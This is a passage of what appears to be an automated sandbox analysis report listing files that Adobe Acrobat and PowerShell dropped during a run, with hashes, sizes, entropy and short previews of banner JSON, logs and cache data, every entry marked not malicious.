SHA-512:	C17518FED5BBE7D23BC1A9E67E18A0BC3FFD0C6F264BCBAF286C5BBC63D7A980C543C01D4407D5D7CD1FB677E8575B9566CF9ECDB79EEF6F107268A47176EB75
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e72f6f70-f20a-4703-8cf1-20b6b2e7518e","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736749681914,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.299283528984408
Encrypted:	false
SSDEEP:	6:YEQXJ2HX1ujlp2KWmSg1c2LjcWkHvR0Yb/oAvJf+dPeUkwRe9:YvXKXgBHhT5LjIP3AG28Ukee9
MD5:	1A610AE4F1694B9E295A341CD845DC8F
SHA1:	CECB8EDBC8D366AF0154813421B43B386C425BC4
SHA-256:	A508A658221269C4022D0C2D29F901BBC309F5A6716D3CB7A7B9EFACF0181686
SHA-512:	5CB8DFEA35F1970AA8989B96C72BD40E95396A6077B079B18BE86B3CBA31ABF22BC0AD5F2D60F3A9705A19B79E215E78E1154FA03B7EBA27A3547C4B9A78F923
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e72f6f70-f20a-4703-8cf1-20b6b2e7518e","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736749681914,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.295894561322198
Encrypted:	false
SSDEEP:	6:YEQXJ2HX1ujlp2KWmSg1c2LjcWkHvR0Yb/oAvJfbPtdPeUkwRe9:YvXKXgBHhT5LjIP3AGDV8Ukee9
MD5:	32502115FE1294CABAFF8729934E28A9
SHA1:	50CBA5655A389FC58E3605CB1D593DF946C960C9
SHA-256:	F0B9A344D5F7646DC88F0725D8D0BD723966211102DD96884E20FBB5F5F9628A
SHA-512:	B0B6E6BFC506E70898E52C98FCD5A12ED802709CE51A9AC93A79B4F076DEF91C76F42F50F4A9082B7C98B55FB2726D7E7663CC3D14B5B5AF318FCDBA60592708
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e72f6f70-f20a-4703-8cf1-20b6b2e7518e","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736749681914,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.287826578922789
Encrypted:	false
SSDEEP:	6:YEQXJ2HX1ujlp2KWmSg1c2LjcWkHvR0Yb/oAvJf21rPeUkwRe9:YvXKXgBHhT5LjIP3AG+16Ukee9
MD5:	625B4A9B3C8BA90742C382DAB683AD5F
SHA1:	AA427094F03BF358CE9E1818A0DB7D55A3C07F23
SHA-256:	959860AB7E41F12C4AD0CC83AE44BC6AD6DD1C763D18BD5F2DA43EC8340A0AA2
SHA-512:	F79DC75F9A396A02ED73E41E39680EF6F91A1A61B6F553C3ACA59DD4F67234158F6778DB363A461BFD7B2E0143D682FEB4C5F0089B546B93B9268768F5542111
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e72f6f70-f20a-4703-8cf1-20b6b2e7518e","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736749681914,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.674454821700295
Encrypted:	false
SSDEEP:	24:Yv6XgTT5XIPlamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS4:YvXZX2ZBgkDMUJUAh8cvM4
MD5:	90D6BDB8B62A5C6DB596CB12A6195BEE
SHA1:	8757087E782F8A15AEDE66824AACC0CCB8E15490
SHA-256:	83B2C37CA90608BC6A6DA50589637FE73D517EFA34D8EDC9635167D63992F5C6
SHA-512:	C02C42984E168C9B1050C7DD2684F9079503FBE7EB5EF1BA5C81B7D9E3B7F883419246FDA71DAFCDE02873FF9C3D0D7F63F51D0A2F269A732E8E31B5129E6811
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e72f6f70-f20a-4703-8cf1-20b6b2e7518e","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736749681914,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.264492398068248
Encrypted:	false
SSDEEP:	6:YEQXJ2HX1ujlp2KWmSg1c2LjcWkHvR0Yb/oAvJfshHHrPeUkwRe9:YvXKXgBHhT5LjIP3AGUUUkee9
MD5:	193317F63EB422703911D6CB66C307C6
SHA1:	435FB4C1BC1B289DA801F8E5C042371A2D6BBBDF
SHA-256:	C3276E44BDC89CAF28B661AE1A72D057B127F3F14F430B997A07264CDDB39B4B
SHA-512:	56C2312F61C297D60EDFADDABC29CC87E7425812291E4F70AAD60F284EE0C97EABFE96C751C3A63EC831FAF89C69A2BB59F04B609EA9A0BA767378860B1FA102
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e72f6f70-f20a-4703-8cf1-20b6b2e7518e","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736749681914,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.264640203361578
Encrypted:	false
SSDEEP:	6:YEQXJ2HX1ujlp2KWmSg1c2LjcWkHvR0Yb/oAvJTqgFCrPeUkwRe9:YvXKXgBHhT5LjIP3AGTq16Ukee9
MD5:	7084AAC02BCFB99F50C999A455629122
SHA1:	401E5F53ABBDAC82C13D15FD6A09DE80D34B4B34
SHA-256:	EAFBB25258A11789238CFB2A808DBDDB33664B8CC1883DFADC620DA354C984DC
SHA-512:	09A4D24F8E64E0AF2B7396E55C0012113838C04567D4446AE195AAEF350A6389AD56606CBFD0984A9110D9F6F972D4D8F7436333A6F380AED47F5082F4509ECD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e72f6f70-f20a-4703-8cf1-20b6b2e7518e","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736749681914,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.134909544137161
Encrypted:	false
SSDEEP:	24:YwMYVIaBEHQayCFWL5fwAKD5Ru5OAV+V4mo2ljrWTsj0Sc9ULxo2P22LScXCX9vy:YwMeEH61U7LTO+/6e2mQRFdQ9J4A3
MD5:	D77174E358BCC2BA63D3549E71F2EF59
SHA1:	395D1C3B666FCD915A35A5F6428ADBAD62890CF3
SHA-256:	90752A3F10ACD5A0F60A0BB2793B9C90713BE8F36A644E68D7EC673443BE8C29
SHA-512:	5D37998EB344DC0DF5E7E5FF3D49CACDE5B3DDA2598F8D3611CA5341AAB05AD451F7048F62EE3BB02D0507314802801D3F94BFFEE97B029E44EB0DE7AB87A030
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"fc35cd0b6f17c8c71a2213ef6f92e5e4","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736573445000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"770d1ccaf0a3eb427d6ef5f3279823ea","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736573445000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"34a0f4db211f5e29946f0da8f19132aa","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736573445000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"4be17ffa53aa894fa36b449041d9f226","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736573445000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"e2a5b2a33a7a48c9231997bc3e896441","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736573445000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"750ad27dc9a943f846354e80e2a2e319","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 26, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 26
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.365062688394474
Encrypted:	false
SSDEEP:	24:TLBx/XYKQvGJF7urs9S6bqyKn6ylSTofcNqDuAuXKdqEKfS8EKfM1baouF:Tll2GL7msMcKTlS8fcsuOfIj
MD5:	2C0BC9DBB300AF1F98C3A941B2389452
SHA1:	5F26E418B06D4F8A44F441156DD4337577928679
SHA-256:	C0025679E0A2454AF805F3D78DEF51FE155FE6911366FE97F530E0282777558B
SHA-512:	665A8F65D2AC4C5B7E5226FF838C2DF5AE08954308860C9FEEED541FDD0B8A9EC171BB633C3514DB97A83EA07DCBB5BF51B532EF15A273635086870907AE22A9
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.8410914446670357
Encrypted:	false
SSDEEP:	24:7+tYZ6bqyKn6ylSTofcNqDuAu+KdqEKfS8EKfM1banbqxqLKufx/XYKQvGJF7url:7MmcKTlS8fcsubfIEqGufl2GL7mss
MD5:	2F86A9E8FDD841FC7EB832D682588CA8
SHA1:	4D708DCF7AFE4AA4B1BFD16DDBB2BE53D1A07BDA
SHA-256:	A63A250A768FE96CD14591B958BD0BBDE2E4A7A2D9E037501EF463319D951B69
SHA-512:	E393317EF3F38EEA7C27C1C94EFDE97D387DEFF918F7318CB04562481D69F9A3A81B27830606F78AAD0110ADD6EB96B61B0233843228638EAD7374E286266C1B
Malicious:	false
Preview:	.... .c.....a.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.-.-.-.-.-.-.-.-.-.-.-........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgGMIabT4d69zfxytMjTKS/mGYyu:6a6TZ44ADE5e690tMjD/mGK
MD5:	58230AC725124A4C904C3D2D90513556
SHA1:	D27DE046BAF3CDAFF961B348530C9478A8BC50B7
SHA-256:	B71BD7AFF9EF476AF234752855F0052F50A3180149C4F357ACCAF6B6534D55C8
SHA-512:	96037F9438E454BB1E1AD8EE0D2CB1E59FEC7151E19D8126FE0DF4064D867E002E572114B40B4B74EDDC117B94A5C99DCE91C60B1D5541931006242740E0D218
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul3nqth:NllUa
MD5:	851531B4FD612B0BC7891B3F401A478F
SHA1:	483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
SHA-256:	383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
SHA-512:	A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
Malicious:	false
Preview:	@...e.................................&..............@..........

C:\Users\user\AppData\Local\Temp\MSIa0e21.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5178552411299933
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88ClcAe:Qw946cPbiOxDlbYnuRKdr
MD5:	E1552A05AC1BAF1745F370A338BE5974
SHA1:	98C8E0BB0427DBB7D00BBAE6CF92778D724495A4
SHA-256:	F6B50E0C11DE3EE7DCC404DD90A6A41BF2647A6C51F53B75097D889D2D4B887D
SHA-512:	A167F4AEE65E902FBB9B15F5D52D1081BBDB4AD78F7E4B9855BFE68E7F51568C9533952EF4A4A6F29CD0EE81A7FA2C1A4B8E414380CD4B198E252EC3DBD1D9AD
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .0.0.:.3.0.:.4.6. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pmqlw3xy.q24.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wfdguyc4.0bs.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A9is6twf_17vftpi_604.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 00-30-40-099.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.330589339471305
Encrypted:	false
SSDEEP:	384:usQfQQjZyDzISMjg0svDBjA49Y0/sQHpMVhrSWD0Wny6WxIWd44mJmtaEKHvMMwh:Ink
MD5:	5BC0A308794F062FEC40F3016568DF9F
SHA1:	14149448191AB45E99011CBBEF39F2A9A03A0D15
SHA-256:	00D910C49F2885F6810F4019A916EFA52F12881CBF1525853D0C184E1B796473
SHA-512:	CF12E0787C1C2A129BE61C4572CF8A28FC48039B2ADFD1816E58078D8DD900771442F210C545AD9B3F4EAEC23F6F1480F7BBF262B6A631160B20D0785BC17242
Malicious:	false
Preview:	SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:171+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.363550575809491
Encrypted:	false
SSDEEP:	384:FfdjtfbJfbyfbhfbVfbOfbSWfbKfbnfb/fa4fayfalffIff6fOgfOqfddfdVfdQS:5d9xeplaGmOzTBjAcK9x3XGvN3vfT7XM
MD5:	C500B1B3EFF6116752ADF2846B163366
SHA1:	F01499A94A7F4FDB4FC369CA366A19D5EA80BDDD
SHA-256:	D495E69BE99DB47480557E9ECE2BD98BD282E33551F6D5FAEA479940AF7CE240
SHA-512:	A296CF5F632F8E94FFC85099A04CDC16486E33EFB1F52EB6CCC94D1371EC9642835867C6E5379887169E65B91E90F941B82FC8DC66D57F9E175FB3720A26BC37
Malicious:	false
Preview:	SessionID=99288c5d-7fb6-4b5b-941c-bc175446baa7.1736573440110 Timestamp=2025-01-11T00:30:40:110-0500 ThreadID=5756 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=99288c5d-7fb6-4b5b-941c-bc175446baa7.1736573440110 Timestamp=2025-01-11T00:30:40:112-0500 ThreadID=5756 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=99288c5d-7fb6-4b5b-941c-bc175446baa7.1736573440110 Timestamp=2025-01-11T00:30:40:112-0500 ThreadID=5756 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=99288c5d-7fb6-4b5b-941c-bc175446baa7.1736573440110 Timestamp=2025-01-11T00:30:40:112-0500 ThreadID=5756 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=99288c5d-7fb6-4b5b-941c-bc175446baa7.1736573440110 Timestamp=2025-01-11T00:30:40:112-0500 ThreadID=5756 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.377081062392363
Encrypted:	false
SSDEEP:	192:icbENIn5cbqlcbgIpLcbJcb4I5jcbKcbQIrxcbmocb2IyIcbJ:8qnXopZ50rBy3
MD5:	7E11DD54ADDAD0C0C7EA8C7EB8F36DC0
SHA1:	B71763F4A885C60605285534614198D34E3C5F81
SHA-256:	BCFFD6C549C710C8B2EFF27AF9F4F0D41182FE6F586D624DF6BA848F1963718A
SHA-512:	8E30436FBBCABE2FD010B471EEE54783B8F7348496D61CEC0E46AD29CEF78538CDE359884ED4FB5F8511BF95D6A078C5E623BD791CDF385737FCE684D1D10418
Malicious:	false
Preview:	05-10-2023 10:01:02:.---2---..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:01:02:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\12ac55d0-05b3-485f-980d-d3449419cb0d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
